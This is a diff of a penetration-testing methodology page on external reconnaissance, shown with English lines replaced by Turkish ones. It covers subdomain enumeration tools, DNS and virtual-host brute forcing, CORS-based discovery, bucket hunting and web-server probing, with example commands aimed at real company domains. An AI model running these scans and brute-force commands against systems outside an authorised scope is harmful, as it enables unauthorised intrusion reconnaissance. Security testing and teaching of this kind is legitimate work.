vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ +Eğer **varlık keşfinde zaten bulduğunuz IP'lerden farklı bir IP'ye sahip bir alan bulursanız**, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\ &#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} -## Subdomains +## Alt Alanlar -> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies. +> Kapsam içindeki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alanları biliyoruz. -It's time to find all the possible subdomains of each found domain. +Bulunan her alanın tüm olası alt alanlarını bulma zamanı. > [!TIP] -> Note that some of the tools and techniques to find domains can also help to find subdomains +> Alanları bulmak için bazı araçların ve tekniklerin alt alanları bulmaya da yardımcı olabileceğini unutmayın. ### **DNS** -Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it). - +**DNS** kayıtlarından **alt alanları** almaya çalışalım. Ayrıca **Bölge Transferi** için de denemeliyiz (Eğer savunmasızsa, bunu bildirmelisiniz). ```bash dnsrecon -a -d tesla.com ``` - ### **OSINT** -The fastest way to obtain a lot of subdomains is search in external sources. The most used **tools** are the following ones (for better results configure the API keys): +Birçok alt alan adı elde etmenin en hızlı yolu, dış kaynaklarda arama yapmaktır. En çok kullanılan **tools** şunlardır (daha iyi sonuçlar için API anahtarlarını yapılandırın): - [**BBOT**](https://github.com/blacklanternsecurity/bbot) - ```bash # subdomains bbot -t tesla.com -f subdomain-enum @@ -242,108 +217,80 @@ bbot -t tesla.com -f subdomain-enum -rf passive # subdomains + port scan + web screenshots bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o . ``` - - [**Amass**](https://github.com/OWASP/Amass) - ```bash amass enum [-active] [-ip] -d tesla.com amass enum -d tesla.com | grep tesla.com # To just list subdomains ``` - - [**subfinder**](https://github.com/projectdiscovery/subfinder) - ```bash # Subfinder, use -silent to only have subdomains in the output ./subfinder-linux-amd64 -d tesla.com [-silent] ``` - - [**findomain**](https://github.com/Edu4rdSHL/findomain/) - ```bash # findomain, use -silent to only have subdomains in the output ./findomain-linux -t tesla.com [--quiet] ``` - - [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us) - ```bash python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run ``` - - [**assetfinder**](https://github.com/tomnomnom/assetfinder) - ```bash assetfinder --subs-only ``` - - [**Sudomy**](https://github.com/Screetsec/Sudomy) - ```bash # It requires that you create a sudomy.api file with API keys sudomy -d tesla.com ``` - - [**vita**](https://github.com/junnlikestea/vita) - ``` vita -d tesla.com ``` - - [**theHarvester**](https://github.com/laramies/theHarvester) - ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` +Diğer ilginç **araçlar/API'ler** var ki, doğrudan alt alan adlarını bulmaya özel olmasalar da alt alan adlarını bulmak için faydalı olabilirler, örneğin: -There are **other interesting tools/APIs** that even if not directly specialised in finding subdomains could be useful to find subdomains, like: - -- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Uses the API [https://sonar.omnisint.io](https://sonar.omnisint.io) to obtain subdomains - +- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alan adlarını elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır. ```bash # Get list of subdomains in output from the API ## This is the API the crobat tool will use curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ``` - -- [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com) - +- [**JLDC ücretsiz API**](https://jldc.me/anubis/subdomains/google.com) ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` - -- [**RapidDNS**](https://rapiddns.io) free API - +- [**RapidDNS**](https://rapiddns.io) ücretsiz API ```bash # Get Domains from rapiddns free API rapiddns(){ - curl -s "https://rapiddns.io/subdomain/$1?full=1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://rapiddns.io/subdomain/$1?full=1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } rapiddns tesla.com ``` - - [**https://crt.sh/**](https://crt.sh) - ```bash # Get Domains from crt free API crt(){ - curl -s "https://crt.sh/?q=%25.$1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://crt.sh/?q=%25.$1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } crt tesla.com ``` - -- [**gau**](https://github.com/lc/gau)**:** fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain. - +- [**gau**](https://github.com/lc/gau)**:** Belirli bir alan adı için AlienVault'un Açık Tehdit Değişimi, Wayback Machine ve Common Crawl'dan bilinen URL'leri alır. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` - -- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): They scrap the web looking for JS files and extract subdomains from there. - +- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'de JS dosyalarını arar ve buradan alt alan adlarını çıkarır. ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -351,42 +298,35 @@ python3 SubDomainizer.py -u https://tesla.com | grep tesla.com # Get only subdomains from subscraper, this already perform recursion over the found results python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f ``` - - [**Shodan**](https://www.shodan.io/) - ```bash # Get info about the domain shodan domain # Get other pages with links to subdomains shodan search "http.html:help.domain.com" ``` - -- [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder) - +- [**Censys alt alan bulucu**](https://github.com/christophetd/censys-subdomain-finder) ```bash export CENSYS_API_ID=... export CENSYS_API_SECRET=... python3 censys-subdomain-finder.py tesla.com ``` - - [**DomainTrail.py**](https://github.com/gatete/DomainTrail) - ```bash python3 DomainTrail.py -d example.com ``` - -- [**securitytrails.com**](https://securitytrails.com/) has a free API to search for subdomains and IP history +- [**securitytrails.com**](https://securitytrails.com/) alt alanlar ve IP geçmişi aramak için ücretsiz bir API sunmaktadır. - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +Bu proje, **bug-bounty programlarıyla ilgili tüm alt alanları ücretsiz olarak** sunmaktadır. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak da erişebilirsiniz veya bu projenin kullandığı kapsamı [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) üzerinden de görebilirsiniz. -You can find a **comparison** of many of these tools here: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +Bu araçların birçokunun **karşılaştırmasını** burada bulabilirsiniz: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) -### **DNS Brute force** +### **DNS Kaba Kuvvet** -Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names. +Olası alt alan adlarını kullanarak DNS sunucularını kaba kuvvetle yeni **alt alanlar** bulmaya çalışalım. -For this action you will need some **common subdomains wordlists like**: +Bu işlem için bazı **yaygın alt alan kelime listelerine** ihtiyacınız olacak: - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -394,118 +334,93 @@ For this action you will need some **common subdomains wordlists like**: - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -And also IPs of good DNS resolvers. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. Or you could use: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +Ayrıca iyi DNS çözümleyicilerin IP'lerine de ihtiyacınız var. Güvenilir DNS çözümleyicilerin bir listesini oluşturmak için [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden çözümleyicileri indirebilir ve bunları filtrelemek için [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanabilirsiniz. Ya da şunu kullanabilirsiniz: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) -The most recommended tools for DNS brute-force are: - -- [**massdns**](https://github.com/blechschmidt/massdns): This was the first tool that performed an effective DNS brute-force. It's very fast however it's prone to false positives. +DNS kaba kuvvet için en çok önerilen araçlar şunlardır: +- [**massdns**](https://github.com/blechschmidt/massdns): Bu, etkili bir DNS kaba kuvvet gerçekleştiren ilk araçtır. Çok hızlıdır ancak yanlış pozitiflere eğilimlidir. ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` - -- [**gobuster**](https://github.com/OJ/gobuster): This one I think just uses 1 resolver - +- [**gobuster**](https://github.com/OJ/gobuster): Bence bu sadece 1 çözümleyici kullanıyor. ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` - -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is a wrapper around `massdns`, written in go, that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomains with wildcard handling and easy input-output support. - +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns), `massdns` etrafında yazılmış bir go wrapper'ıdır ve aktif brute force kullanarak geçerli alt alan adlarını listelemenizi sağlar, ayrıca alt alan adlarını wildcard yönetimi ve kolay girdi-çıktı desteği ile çözmenize olanak tanır. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` - -- [**puredns**](https://github.com/d3mondev/puredns): It also uses `massdns`. - +- [**puredns**](https://github.com/d3mondev/puredns): Ayrıca `massdns` kullanır. ``` puredns bruteforce all.txt domain.com ``` - -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) uses asyncio to brute force domain names asynchronously. - +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) asenkron olarak alan adlarını zorlamak için asyncio kullanır. ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` +### İkinci DNS Kaba Kuvvet Turu -### Second DNS Brute-Force Round - -After having found subdomains using open sources and brute-forcing, you could generate alterations of the subdomains found to try to find even more. Several tools are useful for this purpose: - -- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Given the domains and subdomains generate permutations. +Açık kaynaklar ve kaba kuvvet kullanarak alt alan adlarını bulduktan sonra, bulunan alt alan adlarının varyasyonlarını oluşturarak daha fazlasını bulmayı deneyebilirsiniz. Bu amaç için birkaç araç faydalıdır: +- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Alan adları ve alt alan adları verildiğinde permütasyonlar oluşturur. ```bash cat subdomains.txt | dnsgen - ``` - -- [**goaltdns**](https://github.com/subfinder/goaltdns): Given the domains and subdomains generate permutations. - - You can get goaltdns permutations **wordlist** in [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt). - +- [**goaltdns**](https://github.com/subfinder/goaltdns): Verilen alan adları ve alt alan adları için permütasyonlar oluşturur. +- goaltdns permütasyonlarını **wordlist** olarak [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz. ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` - -- [**gotator**](https://github.com/Josue87/gotator)**:** Given the domains and subdomains generate permutations. If not permutations file is indicated gotator will use its own one. - +- [**gotator**](https://github.com/Josue87/gotator)**:** Verilen alan adları ve alt alan adları için permutasyonlar oluşturur. Eğer permutasyon dosyası belirtilmemişse, gotator kendi dosyasını kullanacaktır. ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - -- [**altdns**](https://github.com/infosec-au/altdns): Apart from generating subdomains permutations, it can also try to resolve them (but it's better to use the previous commented tools). - - You can get altdns permutations **wordlist** in [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt). - +- [**altdns**](https://github.com/infosec-au/altdns): Alt alan adlarının permütasyonlarını oluşturmanın yanı sıra, bunları çözmeye de çalışabilir (ancak daha önce bahsedilen araçları kullanmak daha iyidir). +- altdns permütasyonlarını **wordlist** olarak [**buradan**](https://github.com/infosec-au/altdns/blob/master/words.txt) alabilirsiniz. ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` - -- [**dmut**](https://github.com/bp0lr/dmut): Another tool to perform permutations, mutations and alteration of subdomains. This tool will brute force the result (it doesn't support dns wild card). - - You can get dmut permutations wordlist in [**here**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). - +- [**dmut**](https://github.com/bp0lr/dmut): Alt alanların permütasyonlarını, mutasyonlarını ve değişikliklerini gerçekleştirmek için başka bir araç. Bu araç sonucu brute force ile deneyecektir (dns wild card'ı desteklemez). +- dmut permütasyonları kelime listesini [**buradan**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) alabilirsiniz. ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ - --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt +--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` +- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Belirtilen kalıplara dayanarak bir alan adı temelinde **yeni potansiyel alt alan adı isimleri üretir** ve daha fazla alt alan adı keşfetmeye çalışır. -- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Based on a domain it **generates new potential subdomains names** based on indicated patterns to try to discover more subdomains. - -#### Smart permutations generation - -- [**regulator**](https://github.com/cramppet/regulator): For more info read this [**post**](https://cramppet.github.io/regulator/index.html) but it will basically get the **main parts** from the **discovered subdomains** and will mix them to find more subdomains. +#### Akıllı permütasyonlar üretimi +- [**regulator**](https://github.com/cramppet/regulator): Daha fazla bilgi için bu [**gönderiyi**](https://cramppet.github.io/regulator/index.html) okuyun, ancak temelde **keşfedilen alt alan adlarının** **ana kısımlarını** alacak ve daha fazla alt alan adı bulmak için bunları karıştıracaktır. ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` - -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is a subdomain brute-force fuzzer coupled with an immensly simple but effective DNS reponse-guided algorithm. It utilizes a provided set of input data, like a tailored wordlist or historical DNS/TLS records, to accurately synthesize more corresponding domain names and expand them even further in a loop based on information gathered during DNS scan. - +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, bir alt alan brute-force fuzzer'dır ve son derece basit ama etkili bir DNS yanıtına dayalı algoritma ile birleştirilmiştir. Sağlanan bir girdi veri setini, özel bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi, kullanarak daha fazla ilgili alan adı sentezler ve DNS taraması sırasında toplanan bilgilere dayalı olarak bunları bir döngüde daha da genişletir. ``` echo www | subzuf facebook.com ``` +### **Alt Alan Keşif İş Akışı** -### **Subdomain Discovery Workflow** - -Check this blog post I wrote about how to **automate the subdomain discovery** from a domain using **Trickest workflows** so I don't need to launch manually a bunch of tools in my computer: +Bir alan adından **alt alan keşfini otomatikleştirme** hakkında yazdığım bu blog yazısını kontrol edin, böylece bilgisayarımda bir dizi aracı manuel olarak başlatmam gerekmiyor: {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} {% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} -### **VHosts / Virtual Hosts** +### **VHosts / Sanal Ana Bilgiler** -If you found an IP address containing **one or several web pages** belonging to subdomains, you could try to **find other subdomains with webs in that IP** by looking in **OSINT sources** for domains in an IP or by **brute-forcing VHost domain names in that IP**. +Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute force ile deneyebilirsiniz**. #### OSINT -You can find some **VHosts in IPs using** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **or other APIs**. +Bazı **VHosts'ları IP'lerde bulmak için** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **veya diğer API'leri** kullanabilirsiniz. **Brute Force** -If you suspect that some subdomain can be hidden in a web server you could try to brute force it: - +Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, bunu brute force ile denemeyi düşünebilirsiniz: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -519,207 +434,197 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com #https://github.com/codingo/VHostScan VHostScan -t example.com ``` - > [!NOTE] -> With this technique you may even be able to access internal/hidden endpoints. +> Bu teknikle, dahili/gizli uç noktalara erişim sağlayabilirsiniz. ### **CORS Brute Force** -Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behaviour to **discover** new **subdomains**. - +Bazen, yalnızca geçerli bir alan/ad alt alanı _**Origin**_ başlığında ayarlandığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı **keşfetmek** için yeni **alt alanlar** bulmak amacıyla kötüye kullanabilirsiniz. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` - ### **Buckets Brute Force** -While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +**Alt alanlar** ararken, herhangi bir tür **bucket**'a **işaret edip etmediğine** dikkat edin ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +Ayrıca, bu noktada kapsam içindeki tüm alan adlarını bildiğiniz için, [**mümkün olan bucket isimlerini brute force yapmayı ve izinleri kontrol etmeyi**](../../network-services-pentesting/pentesting-web/buckets/) deneyin. ### **Monitorization** -You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does. +Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **Sertifika Şeffaflığı** Loglarını izleyerek **izleyebilirsiniz** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py). -### **Looking for vulnerabilities** +### **Güvenlik açıklarını arama** -Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +Mümkün olan [**alt alan ele geçirmelerini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\ +Eğer **alt alan** bir **S3 bucket**'a **işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/). -If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -&#xNAN;_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +Eğer keşif aşamasında bulduğunuz IP'lerden farklı bir **IP ile bir alt alan bulursanız**, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** ile gerçekleştirmelisiniz. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\ +&#xNAN;_Note, bazen alt alanın, müşterinin kontrolünde olmayan bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._ -## IPs +## IP'ler -In the initial steps you might have **found some IP ranges, domains and subdomains**.\ -It’s time to **recollect all the IPs from those ranges** and for the **domains/subdomains (DNS queries).** +Başlangıç aşamalarında **bazı IP aralıkları, alan adları ve alt alanlar** bulmuş olabilirsiniz.\ +Artık **bu aralıklardan tüm IP'leri toplama** ve **alan adları/alt alanlar için (DNS sorguları)** zamanı. -Using services from the following **free apis** you can also find **previous IPs used by domains and subdomains**. These IPs might still be owned by the client (and might allow you to find [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +Aşağıdaki **ücretsiz API'lerden** hizmetler kullanarak, **alan adları ve alt alanlar tarafından kullanılan önceki IP'leri** de bulabilirsiniz. Bu IP'ler hala müşteri tarafından sahiplenilmiş olabilir (ve [**CloudFlare bypass'larını**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza yardımcı olabilir). - [**https://securitytrails.com/**](https://securitytrails.com/) -You can also check for domains pointing a specific IP address using the tool [**hakip2host**](https://github.com/hakluke/hakip2host) +Ayrıca, belirli bir IP adresine işaret eden alan adlarını kontrol etmek için [**hakip2host**](https://github.com/hakluke/hakip2host) aracını kullanabilirsiniz. -### **Looking for vulnerabilities** +### **Güvenlik açıklarını arama** -**Port scan all the IPs that doesn’t belong to CDNs** (as you highly probably won’t find anything interested in there). In the running services discovered you might be **able to find vulnerabilities**. +**CDN'lere ait olmayan tüm IP'leri port taraması yapın** (çünkü burada ilginç bir şey bulma olasılığınız çok düşük). Keşfedilen çalışan hizmetlerde **güvenlik açıkları bulma** şansınız olabilir. -**Find a** [**guide**](../pentesting-network/) **about how to scan hosts.** +**Host'ları tarama hakkında bir** [**rehber**](../pentesting-network/) **bulun.** -## Web servers hunting +## Web sunucuları avı -> We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers. +> Tüm şirketleri ve varlıklarını bulduk ve kapsam içindeki IP aralıklarını, alan adlarını ve alt alanları biliyoruz. Web sunucularını arama zamanı. -In the previous steps you have probably already performed some **recon of the IPs and domains discovered**, so you may have **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope. +Önceki adımlarda muhtemelen keşfedilen **IP'ler ve alan adları üzerinde bazı keşifler** yaptınız, bu nedenle **mümkün olan tüm web sunucularını** **zaten bulmuş olabilirsiniz**. Ancak, bulmadıysanız, şimdi kapsam içinde web sunucularını aramak için bazı **hızlı ipuçlarını** göreceğiz. -Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also (**if allowed** by the scope). - -A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting-network/#http-port-discovery).\ -Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) and [**httpx**](https://github.com/projectdiscovery/httpx). You just pass a list of domains and it will try to connect to port 80 (http) and 443 (https). Additionally, you can indicate to try other ports: +Lütfen, bunun **web uygulamaları keşfine yönelik** olacağını unutmayın, bu nedenle **güvenlik açığı** ve **port taraması** da yapmalısınız (**kapsam tarafından izin veriliyorsa**). +**Web** sunucularına ilişkin **açık portları** keşfetmek için [**masscan** ile hızlı bir yöntem burada bulunabilir](../pentesting-network/#http-port-discovery).\ +Web sunucularını aramak için başka bir kullanıcı dostu araç [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx)'dir. Sadece bir alan adı listesi geçiyorsunuz ve port 80 (http) ve 443 (https) ile bağlantı kurmaya çalışıyor. Ayrıca, diğer portları denemesi için belirtebilirsiniz: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` +### **Ekran Görüntüleri** -### **Screenshots** +Artık kapsamda bulunan **tüm web sunucularını** (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) keşfettiğinize göre, muhtemelen **nereden başlayacağınızı bilmiyorsunuz**. Bu yüzden, basit tutalım ve hepsinin ekran görüntülerini almaya başlayalım. Sadece **ana sayfaya bakarak** daha **savunmasız** olabilecek **garip** uç noktalar bulabilirsiniz. -Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**. +Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**'i** kullanabilirsiniz. -To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** +Ayrıca, **screenshot**'ları taramak için [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak **zayıf noktalar** içerebilecek olanları ve içermeyenleri belirleyebilirsiniz. -Moreover, you could then use [**eyeballer**](https://github.com/BishopFox/eyeballer) to run over all the **screenshots** to tell you **what's likely to contain vulnerabilities**, and what isn't. +## Kamu Bulut Varlıkları -## Public Cloud Assets +Bir şirkete ait potansiyel bulut varlıklarını bulmak için **o şirketi tanımlayan anahtar kelimelerle bir listeye başlamalısınız**. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "", <"subdomain_names">`. -In order to find potential cloud assets belonging to a company you should **start with a list of keywords that identify that company**. For example, a crypto for a crypto company you might use words such as: `"crypto", "wallet", "dao", "", <"subdomain_names">`. - -You will also need wordlists of **common words used in buckets**: +Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine ihtiyacınız olacak: - [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Then, with those words you should generate **permutations** (check the [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) for more info). +Sonra, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Brute-Force**](./#second-dns-bruteforce-round) bölümüne bakın). -With the resulting wordlists you could use tools such as [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **or** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** +Elde edilen kelime listeleriyle [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** 